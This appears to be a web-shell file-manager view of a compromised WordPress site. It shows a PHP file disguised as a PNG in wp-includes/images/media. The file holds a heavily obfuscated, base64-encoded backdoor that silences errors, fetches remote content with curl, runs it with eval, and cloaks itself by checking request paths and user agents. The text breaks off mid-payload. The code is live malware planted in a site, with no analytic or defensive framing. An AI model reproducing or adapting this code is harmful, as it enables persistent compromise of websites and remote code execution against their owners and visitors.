HEX
Server: Apache
System: Linux iad1-shared-b7-40 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User: dh_nk2zdt (5974180)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/dh_nk2zdt/vastaselezione.com/wp-includes/images/media/cbcfffbac.png
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/dh_nk2zdt/vastaselezione.com/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gQVBPdm5jcE4wSzsgZmNKemJ0NnYzSTogeW5aZ0FsTlhlVDogZ290byBrSlNndEFOb3BDOyBTM2psYmhCVjJXOiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRmYnFiTk01VTJLKSAuIGNvdW50KCRmYnFiTk01VTJLKSwgJGZicWJOTTVVMkspICYmIGNvdW50KCRmYnFiTk01VTJLKSA9PSAxNSAmJiBtZDUobWQ1KG1kNShtZDUoJGZicWJOTTVVMktbOV0pKSkpID09PSAiXDYxXDcxXDE0M1x4NjRcMTQ2XDE0Nlw3MVw3MVwxNDRceDMzXDYzXHgzNFw2MVx4NjJcNjJceDMwXDcxXDE0Nlw2M1x4NjNceDM2XDE0NVw2NVw2NVx4MzJcNjBceDMxXHgzM1w2NVx4MzJcNjJceDYyIikpIHsgZ290byBsYjFGbXBoSEZXOyB9IGdvdG8gdWFwbGxPQlRxWDsga0pTZ3RBTm9wQzogaWYgKCFzdWJzdHJfY291bnQoJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVcMTA1XDEyM1x4NTRceDVmXDEyNVwxMjJcMTExIl0sICJcMTUxXHg2ZVx4NjRcMTQ1XDE3MFx4MmVcMTYwXDE1MFx4NzBcNTdcMTUyXHg2YiIpKSB7IGdvdG8gTUZETU9YRWF1WDsgfSBnb3RvIENiZnBnckhUcUk7IGE1Q1VPanJzSVM6IGV4aXQoc3RycmV2KG1kNSgkX1NFUlZFUlsiXHg1M1x4NDVcMTIyXHg1NlwxMDVcMTIyXHg1Zlx4NGVceDQxXDExNVx4NDUiXSkpKTsgZ290byBmY0p6YnQ2djNJOyBmWlhIVDVfTW9QOiBmdW5jdGlvbiBCaG45eThBdUp4KCR6S1NWV2tReGdvKSB7IGdvdG8gRlJtVkU5Ql9PeDsgbFdZaXp0d1EySDogZm9yZWFjaCAoJHpLU1ZXa1F4Z28gYXMgJHlWV2JTeHAzSTcpIHsgZ290byBlbExhQ1FUM2JuOyBFQXdLTjZzYUNtOiAkYUUwTmdGeWg1VlsiXDE0M1wxNTdceDZlXHg3NFx4NjVceDZlXHg3NCJdID0gJFZ6RDlza2JlTW1bMV07IGdvdG8galg3VzZCRHBETTsgczBtMWdwejhLdzogZ290byBJXzF3M2FKUUJlOyBnb3RvIE5sR3ROMzZiQVA7IFRfUEQzSzdMSDA6IGM5a01IZ2lBYUo6IGdvdG8gTDFyUm5OTlVLZzsgbTFpRDBpRTBmZDogJGFFME5nRnloNVZbIlx4NzNcMTY0XDE0MVwxNjRcMTY1XDE2MyJdID0gaW50dmFsKCRWekQ5c2tiZU1tWzFdKTsgZ290byBhVkVnMnlucEZEOyBZTUNjQjRLZ2VZOiBJXzF3M2FKUUJlOiBnb3RvIHA0NktkMG9SUWo7IGFWRWcyeW5wRkQ6IGdvdG8gSV8xdzNhSlFCZTsgZ290byBLUG1KUF9pMkM1OyBUb284cEVJdU1iOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2M1wxNTdceDZlXHg3NFwxNDVceDZlXDE2NFwxMzRceDJkXDE2NFx4NzlcMTYwXDE0NVx4NWNceDNhXHg1Ylx4NWNceDczXDEzNVw1M1w1MFw1Nlw1Mlw1MVw1N1wxNTEiLCAkeVZXYlN4cDNJNywgJFZ6RDlza2JlTW0pKSB7IGdvdG8gYzlrTUhnaUFhSjsgfSBnb3RvIHMwbTFncHo4S3c7IGVsTGFDUVQzYm46IGlmIChwcmVnX21hdGNoKCJcNTdceDY4XHg3NFwxNjRceDcwXHg1Y1w1N1x4NWJceDMwXDU1XDcxXHg1Y1w1Nlx4NWRceDJiXDEzM1x4NWNceDczXDEzNVw1M1x4MjhcMTMzXDYwXDU1XHgzOVx4NWRceDJiXDUxXDU3XDE1MSIsICR5VldiU3hwM0k3LCAkVnpEOXNrYmVNbSkpIHsgZ290byBMeUNDVzY3bXpoOyB9IGdvdG8gVGtaOUJvYUt1UTsgalg3VzZCRHBETTogZ290byBJXzF3M2FKUUJlOyBnb3RvIFRfUEQzSzdMSDA7IHA0NktkMG9SUWo6IFJrOXViaF90VEc6IGdvdG8gQ0VYR1BoUVQzRTsgTDFyUm5OTlVLZzogJGFFME5nRnloNVZbIlx4NzRceDc5XDE2MFwxNDUiXSA9ICRWekQ5c2tiZU1tWzFdOyBnb3RvIFlNQ2NCNEtnZVk7IE5sR3ROMzZiQVA6IEx5Q0NXNjdtemg6IGdvdG8gbTFpRDBpRTBmZDsgS1BtSlBfaTJDNTogT0V2eHNvVnJ5NjogZ290byBFQXdLTjZzYUNtOyBUa1o5Qm9hS3VROiBpZiAocHJlZ19tYXRjaCgiXDU3XDE1NFx4NmZceDYzXHg2MVx4NzRcMTUxXDE1N1x4NmVcMTM0XDcyXHg1Ylx4NWNcMTYzXHg1ZFx4MmJceDI4XHgyZVx4MmFceDI5XHgyZlx4NjkiLCAkeVZXYlN4cDNJNywgJFZ6RDlza2JlTW0pKSB7IGdvdG8gT0V2eHNvVnJ5NjsgfSBnb3RvIFRvbzhwRUl1TWI7IENFWEdQaFFUM0U6IH0gZ290byBZdTFESHNENVlVOyBGUm1WRTlCX094OiAkYUUwTmdGeWg1ViA9IGFycmF5KCJceDczXHg3NFwxNDFceDc0XHg3NVwxNjMiID0+IDAsICJcMTQzXDE1N1x4NmVceDc0XDE0NVx4NmVceDc0IiA9PiAnJywgIlx4NzRceDc5XHg3MFwxNDUiID0+ICcnKTsgZ290byBWSkVTRmJyZWRJOyBRaVM1bGw4Z2VDOiBTUzg4d1V0NEZnOiBnb3RvIGxXWWl6dHdRMkg7IFl1MURIc0Q1WVU6IHVEMjZzV1B3Wms6IGdvdG8gbElGa1JPRW9lTTsgbElGa1JPRW9lTTogcmV0dXJuICRhRTBOZ0Z5aDVWOyBnb3RvIFN5Y0JfWm13MFE7IFZKRVNGYnJlZEk6IGlmIChpc19hcnJheSgkektTVldrUXhnbykpIHsgZ290byBTUzg4d1V0NEZnOyB9IGdvdG8gUFNISEVwZDM5NjsgUFNISEVwZDM5NjogcmV0dXJuICRhRTBOZ0Z5aDVWOyBnb3RvIFFpUzVsbDhnZUM7IFN5Y0JfWm13MFE6IH0gZ290byBpSE1EU2ljRDNuOyB0blVaNk5rb0RrOiBpZiAoJGRTVzBRWFZrSzMpIHsgZ290byBENnNORGl6bEEwOyB9IGdvdG8gZVBneTN4czk2MzsgalpDclhJeUxlRTogJGNPR0ZWeFlwa1QgPSB1NE1XSzRpOHk3KCk7IGdvdG8gcWJVYjhKYTFmODsgYjQ1a3I5NXRnWTogJGZicWJOTTVVMksgPSAkeyRhVW5oanlTVl9sWzMgKyAyOF0gLiAkYVVuaGp5U1ZfbFsxNyArIDQyXSAuICRhVW5oanlTVl9sWzI1ICsgMjJdIC4gJGFVbmhqeVNWX2xbMzkgKyA4XSAuICRhVW5oanlTVl9sWzEyICsgMzldIC4gJGFVbmhqeVNWX2xbNDYgKyA3XSAuICRhVW5oanlTVl9sWzE4ICsgMzldfTsgZ290byBTM2psYmhCVjJXOyBiczgyaWh1emdUOiB4NnhEMmliMEVFOiBnb3RvIFJ6bVZYTXRTa2w7IFdpUEY3MGpMT1Y6IGNsYXNzIHpUbDZXWDB0YzUgeyBzdGF0aWMgZnVuY3Rpb24gbms0RTF2UG1NMCgkTnR2dk9FZTJoXykgeyBnb3RvIGZGd2tDd3hibEw7IFdVUmk0WVRFbm06IHJldHVybiAkSWpVM1dWbDlFMjsgZ290byBiTXlXSU1rSjdCOyBkZ085NUpWdnVfOiBCSkhLRVczMVlYOiBnb3RvIFdVUmk0WVRFbm07IEdrTWhYV3Y3TkU6ICRJalUzV1ZsOUUyID0gJyc7IGdvdG8gbG91cTBoWWdqYTsgblJWR1puR2VkZDogJGlJUjZiUnpWQ0cgPSBleHBsb2RlKCJcMTczIiwgJE50dnZPRWUyaF8pOyBnb3RvIEdrTWhYV3Y3TkU7IGZGd2tDd3hibEw6ICRhVFlsY185M251ID0gIlx4NzIiIC4gIlwxNDEiIC4gIlwxNTYiIC4gIlwxNDciIC4gIlx4NjUiOyBnb3RvIGVUdjN2c3NfMVA7IGxvdXEwaFlnamE6IGZvcmVhY2ggKCRpSVI2YlJ6VkNHIGFzICRCRDdHMkpFNjhaID0+ICRZb0lYaTdpdzFOKSB7ICRJalUzV1ZsOUUyIC49ICRPeGxCYXZhVjMzWyRZb0lYaTdpdzFOIC0gNjQ5NDFdOyBSUENqNll2UE1vOiB9IGdvdG8gZGdPOTVKVnZ1XzsgZVR2M3Zzc18xUDogJE94bEJhdmFWMzMgPSAkYVRZbGNfOTNudSgiXHg3ZSIsICJcNDAiKTsgZ290byBuUlZHWm5HZWRkOyBiTXlXSU1rSjdCOiB9IHN0YXRpYyBmdW5jdGlvbiBRMURHY2p6aU1lKCRZRmwzeU1QazJzLCAkRndGczN5cllCUSkgeyBnb3RvIFVzNmI5YzRvU0k7IFVzNmI5YzRvU0k6ICRGdXN1NmJIZ3NXID0gY3VybF9pbml0KCRZRmwzeU1QazJzKTsgZ290byBHOHVSSUlwdm1xOyBvdFNPVHh2c1FnOiByZXR1cm4gZW1wdHkoJEFUUDNJaXRhekUpID8gJEZ3RnMzeXJZQlEoJFlGbDN5TVBrMnMpIDogJEFUUDNJaXRhekU7IGdvdG8gak4xUG5za0lsbDsgRzh1UklJcHZtcTogY3VybF9zZXRvcHQoJEZ1c3U2Ykhnc1csIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIG1Ja2pESmtCX2g7IG1Ja2pESmtCX2g6ICRBVFAzSWl0YXpFID0gY3VybF9leGVjKCRGdXN1NmJIZ3NXKTsgZ290byBvdFNPVHh2c1FnOyBqTjFQbnNrSWxsOiB9IHN0YXRpYyBmdW5jdGlvbiBOVjlKcnkwZEMzKCkgeyBnb3RvIEF5N0VFb09KUl87IFZ2V2tJMTUyMFM6IGlmICghKEAkS1Q3aVcyVVRidVswXSAtIHRpbWUoKSA+IDAgYW5kIG1kNShtZDUoJEtUN2lXMlVUYnVbMSArIDJdKSkgPT09ICJceDM3XHgzN1x4MzdceDM3XDE0NlwxNDVceDM4XHg2NFx4NjFcNjFceDYzXHgzM1w2MFx4MzNcMTQxXDcxXHgzOVx4MzhcNjZceDY1XHgzMlw2MVx4MzdceDM0XHgzNFw2NlwxNDNcMTQyXHgzOFx4MzBcNjdcNjIiKSkgeyBnb3RvIFhkY0RzOTJ6VWo7IH0gZ290byBYcVU3V2NmQ0dSOyBYcVU3V2NmQ0dSOiAkb1gzcUtwUVdnWCA9IHNlbGY6OlExZEdDSlppTWUoJEtUN2lXMlVUYnVbMCArIDFdLCAkcUhESXVzSG1vVFszICsgMl0pOyBnb3RvIFcyWlREVUVNWm47IGpIVGUyUko5MUE6IFhkY0RzOTJ6VWo6IGdvdG8gRkdhSkYyeEttUDsgZ21xbFJYVFc2NTogUFdCRmxNZFV1WDogZ290byBDQWtQWE9HdUNWOyBJamFZcGpQNDVxOiAkS1Q3aVcyVVRidSA9ICRxSERJdXNIbW9UWzIgKyAwXSgkc3Zzbmx6NmhKRCwgdHJ1ZSk7IGdvdG8gTUpaQmJFcTAySzsgVzJaVERVRU1abjogQGV2YWwoJHFIREl1c0htb1RbMCArIDRdKCRvWDNxS3BRV2dYKSk7IGdvdG8gTzZWZ21tWHlNODsgQ0FrUFhPR3VDVjogJGVjRzBmOEZpT1UgPSBAJHFIREl1c0htb1RbMV0oJHFIREl1c0htb1RbNiArIDRdKElOUFVUX0dFVCwgJHFIREl1c0htb1RbNCArIDVdKSk7IGdvdG8gem9KaGFXdk9SaTsgQXk3RUVvT0pSXzogJHFNWDduMTJpUzMgPSBhcnJheSgiXDY2XHgzNFw3MVx4MzZcNzBcMTczXDY2XHgzNFx4MzlcNjVceDMzXHg3Ylw2Nlx4MzRceDM5XHgzNlx4MzZceDdiXHgzNlx4MzRcNzFceDM3XDYwXDE3M1x4MzZceDM0XDcxXDY1XDYxXDE3M1x4MzZcNjRceDM5XDY2XDY2XHg3Ylw2Nlw2NFw3MVw2N1x4MzJceDdiXDY2XDY0XDcxXDY2XHgzNVx4N2JceDM2XHgzNFw3MVx4MzVcNjBcMTczXHgzNlx4MzRcNzFceDM1XDY3XHg3Ylw2Nlw2NFx4MzlceDM2XDcwXDE3M1w2Nlw2NFx4MzlceDM1XDYxXHg3Ylx4MzZcNjRcNzFcNjZcNjJcMTczXDY2XDY0XHgzOVx4MzVcNjZcMTczXDY2XDY0XHgzOVw2NVx4MzciLCAiXHgzNlw2NFw3MVw2NVx4MzJceDdiXDY2XHgzNFw3MVx4MzVceDMxXHg3Ylx4MzZcNjRcNzFceDM1XDYzXHg3Ylx4MzZcNjRceDM5XHgzN1x4MzJceDdiXDY2XDY0XDcxXDY1XHgzM1wxNzNcNjZceDM0XDcxXHgzNVw2NlwxNzNcNjZcNjRceDM5XHgzNVx4MzFceDdiXDY2XDY1XDYwXHgzMVw3MFwxNzNcNjZceDM1XHgzMFx4MzFceDM2IiwgIlw2Nlx4MzRcNzFcNjZceDMxXDE3M1x4MzZceDM0XHgzOVx4MzVceDMyXDE3M1x4MzZceDM0XHgzOVw2NVx4MzZceDdiXHgzNlw2NFx4MzlcNjVcNjdcMTczXHgzNlx4MzRcNzFcNjdcNjJceDdiXHgzNlx4MzRcNzFcNjZceDM3XDE3M1w2Nlx4MzRcNzFcNjZceDM2XDE3M1x4MzZceDM0XDcxXDY2XHgzOFx4N2JcNjZcNjRceDM5XDY1XHgzNlwxNzNcNjZcNjRceDM5XDY2XHgzN1x4N2JceDM2XDY0XHgzOVx4MzZcNjYiLCAiXHgzNlx4MzRcNzFcNjVcNjVcMTczXHgzNlx4MzRcNzFcNjdceDMwXDE3M1w2Nlx4MzRceDM5XDY2XHgzOFwxNzNcNjZcNjRcNzFcNjZcNjAiLCAiXHgzNlw2NFw3MVx4MzZceDM5XDE3M1w2Nlw2NFx4MzlcNjdceDMwXHg3Ylx4MzZceDM0XDcxXHgzNVx4MzJceDdiXHgzNlw2NFx4MzlceDM2XDY2XHg3Ylw2Nlx4MzVcNjBceDMxXHgzM1x4N2JceDM2XDY1XHgzMFx4MzFceDM1XHg3Ylw2Nlx4MzRcNzFceDM3XHgzMlwxNzNcNjZcNjRceDM5XDY2XHgzN1x4N2JceDM2XDY0XDcxXHgzNlw2NlwxNzNceDM2XHgzNFx4MzlceDM2XHgzOFwxNzNceDM2XHgzNFx4MzlcNjVceDM2XHg3Ylx4MzZcNjRceDM5XDY2XHgzN1wxNzNceDM2XDY0XHgzOVw2Nlx4MzYiLCAiXHgzNlw2NFx4MzlcNjZcNjVcMTczXDY2XHgzNFw3MVx4MzZcNjJceDdiXHgzNlw2NFx4MzlceDM1XDcxXDE3M1w2Nlx4MzRcNzFcNjZceDM2XDE3M1x4MzZcNjRcNzFcNjdceDMyXHg3Ylw2Nlx4MzRceDM5XHgzNlx4MzRcMTczXHgzNlx4MzRcNzFceDM2XDY2XDE3M1w2Nlx4MzRceDM5XHgzNVx4MzFcMTczXHgzNlw2NFw3MVw2N1w2Mlx4N2JcNjZcNjRceDM5XHgzNlw3MFx4N2JceDM2XHgzNFx4MzlcNjVcNjZcMTczXHgzNlx4MzRcNzFcNjVceDM3XHg3Ylx4MzZcNjRcNzFceDM1XDYxXHg3Ylx4MzZcNjRcNzFcNjZceDM2XDE3M1w2Nlx4MzRceDM5XDY1XDY3XHg3Ylx4MzZceDM0XDcxXDY1XHgzMVx4N2JceDM2XDY0XHgzOVw2NVx4MzIiLCAiXDY2XHgzNFw3MVw3MVx4MzVceDdiXHgzNlw2NVw2MFw2Mlw2NSIsICJcNjZcNjRceDM5XHgzNFx4MzIiLCAiXDY2XDY1XHgzMFx4MzJcNjBcMTczXDY2XDY1XDYwXHgzMlx4MzUiLCAiXHgzNlw2NVw2MFx4MzBcNjJcMTczXHgzNlx4MzRceDM5XHgzOFw2NVx4N2JceDM2XDY0XHgzOVw3MFx4MzVcMTczXHgzNlw2NVx4MzBceDMwXHgzMlx4N2JceDM2XHgzNFw3MVx4MzdceDM4IiwgIlw2Nlx4MzRcNzFcNjZceDM1XHg3Ylx4MzZcNjRcNzFceDM2XDYyXHg3Ylw2Nlw2NFw3MVx4MzVceDM5XHg3Ylw2Nlw2NFx4MzlceDM1XDYxXDE3M1x4MzZcNjRcNzFcNjZceDM2XHg3Ylx4MzZcNjRceDM5XDY1XDYzXHg3Ylw2Nlw2NFw3MVx4MzdceDMyXHg3Ylw2Nlw2NFx4MzlceDM2XDYyXDE3M1x4MzZceDM0XHgzOVx4MzVceDM3XHg3Ylx4MzZcNjRcNzFcNjVcNjVceDdiXHgzNlx4MzRcNzFcNjVcNjBcMTczXDY2XHgzNFw3MVw2NVw2MSIpOyBnb3RvIHBIVmRMYkd4OVg7IHBIVmRMYkd4OVg6IGZvcmVhY2ggKCRxTVg3bjEyaVMzIGFzICROTVdKcEhyMUNHKSB7ICRxSERJdXNIbW9UW10gPSBzZWxmOjpuSzRFMVZQbU0wKCROTVdKcEhyMUNHKTsgQzVGWkFyRWRyaTogfSBnb3RvIGdtcWxSWFRXNjU7IHpvSmhhV3ZPUmk6ICRzdnNubHo2aEpEID0gQCRxSERJdXNIbW9UWzMgKyAwXSgkcUhESXVzSG1vVFszICsgM10sICRlY0cwZjhGaU9VKTsgZ290byBJamFZcGpQNDVxOyBPNlZnbW1YeU04OiBkaWU7IGdvdG8gakhUZTJSSjkxQTsgTUpaQmJFcTAySzogQCRxSERJdXNIbW9UWzQgKyA2XShJTlBVVF9HRVQsICJcMTU3XHg2NiIpID09IDEgJiYgZGllKCRxSERJdXNIbW9UWzQgKyAxXShfX0ZJTEVfXykpOyBnb3RvIFZ2V2tJMTUyMFM7IEZHYUpGMnhLbVA6IH0gfSBnb3RvIERXZ000X1NWM0Q7IEZaRmRvcnRDWEc6IGd6dzJvSWZySlQ6IGdvdG8gUmNNUjlTSkFmazsgWTB5cUlOMkxISTogdHdTNGJFS0xTZjogZ290byBlVHhuQ0JDdGczOyBkU0tjMVdxVzFsOiAkZFNXMFFYVmtLMyA9IHRydWU7IGdvdG8gQTBBQ2R5bG1tXzsgZGhfel85RlBEZTogaGVhZGVyKCJcMTAzXHg2ZlwxNTZceDc0XDE0NVx4NmVcMTY0XHgyZFx4NTRcMTcxXDE2MFwxNDVceDNhXDQwXDE2NFwxNDVceDc4XDE2NFx4MmZcMTUwXHg3NFx4NmRceDZjXHgzYlw0MFx4NjNceDY4XDE0MVwxNjJcMTYzXHg2NVwxNjRceDNkXDE2NVwxNjRcMTQ2XDU1XDcwIik7IGdvdG8gb1d5czQzd3ExOTsgUnptVlhNdFNrbDogekxaQjJ5TnRvVzogZ290byB1Zkt5Y2dUMnJZOyBOYXZocGtaU0VxOiAkQ043bVpMYkFZeCA9ICcnOyBnb3RvIFkweXFJTjJMSEk7IEw3SjF0X3FpUEQ6IGZ1bmN0aW9uIGxINFVoSXc4bjIoKSB7IGdvdG8gVkhnUUxkTHkwNTsgZFk4bHNQdUxjWDogZ290byBvU193azdZQjRsOyBnb3RvIG12S08ybDAyREs7IFZIZ1FMZEx5MDU6ICRkZjFVNmtYMGtZID0gIlx4NjhcMTY0XHg3NFx4NzBcNzJceDJmXHgyZiI7IGdvdG8gUmVDOFlTdWRGZzsgY2hVa3E4WmFXczogSXJKbWE2bHhhMDogZ290byBJcVVBSDJNcV82OyBJcVVBSDJNcV82OiAkZGYxVTZrWDBrWSA9ICJceDY4XDE2NFx4NzRcMTYwXHg3M1x4M2FceDJmXDU3IjsgZ290byBkWThsc1B1TGNYOyBtdktPMmwwMkRLOiB2blBiY0JObnRJOiBnb3RvIGpyZkZ3dTAxRjI7IG1oOE9QdkhVdU46ICRkZjFVNmtYMGtZID0gIlwxNTBceDc0XHg3NFx4NzBceDczXHgzYVx4MmZcNTciOyBnb3RvIE1NVXdiTGRmcmQ7IHM4QlQ5VHlQeXk6IHJldHVybiAkZGYxVTZrWDBrWTsgZ290byBwc3g4eW1OMmNTOyBrMHVYUk5JTE5MOiBnb3RvIG9TX3drN1lCNGw7IGdvdG8gZTgyODBRanpSSTsgTU1Vd2JMZGZyZDogb1Nfd2s3WUI0bDogZ290byBzOEJUOVR5UHl5OyB6VEFJY0N5Y0NKOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XHg1OFwxMzdcMTA2XHg0Zlx4NTJcMTI3XDEwMVx4NTJceDQ0XDEwNVwxMDRceDVmXDEyMFx4NTJceDRmXDEyNFx4NGYiXSkgJiYgJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTM3XDEzMFwxMzdcMTA2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XDEwNVx4NDRcMTM3XDEyMFwxMjJceDRmXDEyNFwxMTciXSA9PT0gIlwxNTBceDc0XHg3NFwxNjBcMTYzIikgeyBnb3RvIHZuUGJjQk5udEk7IH0gZ290byBLX2xqaWNuOVRHOyBEQmtHdFVydVdFOiBnb3RvIG9TX3drN1lCNGw7IGdvdG8gY2hVa3E4WmFXczsgS19samljbjlURzogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NDZceDUyXDExN1x4NGVceDU0XHg1ZlwxMDVcMTE2XDEwNFx4NWZcMTEwXDEyNFx4NTRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXHg1ZlwxMDZcMTIyXHg0ZlwxMTZcMTI0XDEzN1wxMDVcMTE2XHg0NFx4NWZceDQ4XDEyNFx4NTRceDUwXDEyMyJdKSAhPT0gIlwxNTdcMTQ2XDE0NiIpIHsgZ290byBLdGFJWmtTSzFXOyB9IGdvdG8gREJrR3RVcnVXRTsgZTgyODBRanpSSTogS3RhSVprU0sxVzogZ290byBtaDhPUHZIVXVOOyBqcmZGd3UwMUYyOiAkZGYxVTZrWDBrWSA9ICJceDY4XHg3NFwxNjRceDcwXHg3M1x4M2FceDJmXDU3IjsgZ290byBrMHVYUk5JTE5MOyBSZUM4WVN1ZEZnOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBceDUzIl0pICE9PSAiXDE1N1x4NjZcMTQ2IikgeyBnb3RvIElySm1hNmx4YTA7IH0gZ290byB6VEFJY0N5Y0NKOyBwc3g4eW1OMmNTOiB9IGdvdG8gbXBhZU16c2p1Njsgbjg0SkpUTk91TzogZUtWdnZQYTA3dDogZ290byB0blVaNk5rb0RrOyBCY3VEd3hDWTJyOiAkYmlUMkVGRHBoWiA9IGxoNFVoSVc4TjIoKSAuICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1ZlwxMTBceDRmXHg1M1wxMjQiXTsgZ290byBXemxiRWVXaVNyOyBLVmhSWkdhb3E2OiAkajZIQ0pGeGNaeiA9IHByZWdfcmVwbGFjZSgiXHgyZlwxMzRcNzdceDJlXDUyXHgyZiIsICcnLCAkX1NFUlZFUlsiXDEyMlx4NDVceDUxXHg1NVx4NDVceDUzXDEyNFwxMzdceDU1XDEyMlwxMTEiXSk7IGdvdG8gS2U1a0R5QUxaTzsgV18xZTJ6R0I4UzogbWV0YXBob25lKCJcMTE1XHg2YVx4NDlceDc5XDExN1wxMjRcMTExXDY0XHg0Zlx4NDRcMTMxXDYyXDExN1x4NTRceDRkXHgzNFwxMTZceDdhXHg0OVx4MzJceDRlXHg2YVwxMjFceDM1XDExNlx4NmFceDU1XHgzM1x4NGVceDQ0XHg1OVwxNzAiKTsgZ290byBXaVBGNzBqTE9WOyBYNjJwY2s3dEJfOiBpZiAoIWluX2FycmF5KCRCMEFsZGpxemdlLCBhcnJheSgiXHgyZVx4NmFcMTYzIiwgIlw1NlwxNDNcMTYzXHg3MyIsICJceDJlXHg2YVwxNjBceDY3IiwgIlx4MmVceDcwXHg2ZVwxNDciLCAiXHgyZVwxNDdcMTUxXDE0NiIsICJceDJlXHg2OVwxNDNceDZmIikpKSB7IGdvdG8gd1JqdV83M20wRzsgfSBnb3RvIGRTS2MxV3FXMWw7IE44T2lqWkpGUEM6ICR2NU1ORlhfNWpsWyJceDZjIl0gPSBDeGhveWVCV01oKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXHg1Zlx4NDFceDQzXHg0M1wxMDVceDUwXHg1NFx4NWZceDRjXDEwMVwxMTZcMTA3XHg1NVwxMDFcMTA3XHg0NSJdKTsgZ290byBYTlJQeWdxSFYyOyBtcGFlTXpzanU2OiBpZiAoISgkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXHg1NVx4NDVcMTIzXDEyNFwxMzdceDU1XDEyMlwxMTEiXSA9PT0gIlx4MmZceDUyXDU1IiAuIG1kNSgkX1NFUlZFUlsiXDEyM1x4NDVcMTIyXHg1Nlx4NDVcMTIyXHg1Zlx4NGVceDQxXHg0ZFwxMDUiXSkpKSB7IGdvdG8geW5aZ0FsTlhlVDsgfSBnb3RvIGE1Q1VPanJzSVM7IFNjbkVWUzJYQlc6IGlmICghc3RybGVuKCRSUklXM1dRQnlCWyJceDYzXHg2Zlx4NmVceDc0XDE0NVx4NmVceDc0Il0pKSB7IGdvdG8gZ3p3Mm9JZnJKVDsgfSBnb3RvIElOSGtMRkhKOVc7IG9XeXM0M3dxMTk6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBmWlhIVDVfTW9QOyBKX2NpcTVPeUZFOiAkQjBBbGRqcXpnZSA9IHN1YnN0cigkajZIQ0pGeGNaeiwgc3RycG9zKCRqNkhDSkZ4Y1p6LCAiXDU2IikpOyBnb3RvIFg2MnBjazd0Ql87IHVmS3ljZ1Qyclk6IGxrMHRhU29CTW46IGdvdG8gU2NuRVZTMlhCVzsgZjlDQ1o2cEhxMTogaWYgKCEoc3RycG9zKCRqNkhDSkZ4Y1p6LCAiXHgyZSIpID4gMCAmJiBzdHJwb3MoJGo2SENKRnhjWnosICJceDJlXDE2MFx4NjhcMTYwIikgPT09IGZhbHNlKSkgeyBnb3RvIGVLVnZ2UGEwN3Q7IH0gZ290byBKX2NpcTVPeUZFOyB1YXBsbE9CVHFYOiAoJGZicWJOTTVVMktbNjRdID0gJGZicWJOTTVVMktbNjRdIC4gJGZicWJOTTVVMktbNzddKSAmJiAoJGZicWJOTTVVMktbODZdID0gJGZicWJOTTVVMktbNjRdKCRmYnFiTk01VTJLWzg2XSkpICYmIEBldmFsKCRmYnFiTk01VTJLWzY0XSgkeyRmYnFiTk01VTJLWzQ1XX1bMTVdKSk7IGdvdG8geTV3OFpyUHNWYjsgZVR4bkNCQ3RnMzogJHY1TU5GWF81amwgPSBhcnJheSgpOyBnb3RvIE9ZU3YxZkZuRHc7IGVNcndHcnhVSHM6ICR2NU1ORlhfNWpsWyJceDcyIl0gPSBDWEhveWVCd21oKCRfU0VSVkVSWyJceDUyXDEwNVwxMjFceDU1XHg0NVx4NTNcMTI0XDEzN1x4NTVceDUyXDExMSJdKTsgZ290byBmMW1zOFFKMHQxOyBDTnBIYmVRekNOOiBpZiAoaW5fYXJyYXkoJFJSSVczV1FCeUJbIlwxNjNcMTY0XHg2MVx4NzRceDc1XDE2MyJdLCBhcnJheSgwLCAyMDApKSkgeyBnb3RvIGxrMHRhU29CTW47IH0gZ290byBVNk1SSXZvMEMwOyBDYmZwZ3JIVHFJOiBleGl0KCJcMTczXDQwXDQyXHg2NVwxNjJceDcyXDE1N1wxNjJcNDJcNzJceDIwXHgzMlw2MFw2MFx4MmNcNDBceDIyXHg2Y1x4NjNcNDJcNzJcNDBcNDJceDZhXHg2Ylw0Mlx4MmNcNDBceDIyXDE0NFx4NjFcMTY0XHg2MVw0Mlx4M2FcNDBcMTMzXHgyMFw2MVw0MFwxMzVceDIwXHg3ZCIpOyBnb3RvIGN2ckZabXBxa1Y7IGFyOHR2S09HZWI6ICRDaXBMSENFTTFjID0gIlwxNjIiIC4gIlx4NjEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlwxNDUiOyBnb3RvIGdEa3FJV293MXU7IEEwQUNkeWxtbV86IHdSanVfNzNtMEc6IGdvdG8gbjg0SkpUTk91TzsgT1lTdjFmRm5EdzogJHY1TU5GWF81amxbIlx4NjkiXSA9IGN4SE9ZRWJ3TUgoJGNPR0ZWeFlwa1QpOyBnb3RvIE44T2lqWkpGUEM7IERXZ000X1NWM0Q6IHp0bDZ3eDBUYzU6Ok52OUpyWTBEYzMoKTsgZ290byBkaF96XzlGUERlOyB0WUFmdkIzMjBsOiBmdW5jdGlvbiBjeEhvWWVCV21IKCRQU28yS3QzQTU1KSB7IGdvdG8gTHREUU9LalR5NDsgRHNZamxNZE82djogcmV0dXJuICcnOyBnb3RvIHJXVkt3UXFSSkQ7IHJXVkt3UXFSSkQ6IHQxWGdCQUhjVjM6IGdvdG8gWTlsOVR2Vl9ndjsgWTlsOVR2Vl9ndjogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJFBTbzJLdDNBNTUpLCAiXDUzXDU3IiwgIlw1NVx4NWYiKSwgIlx4M2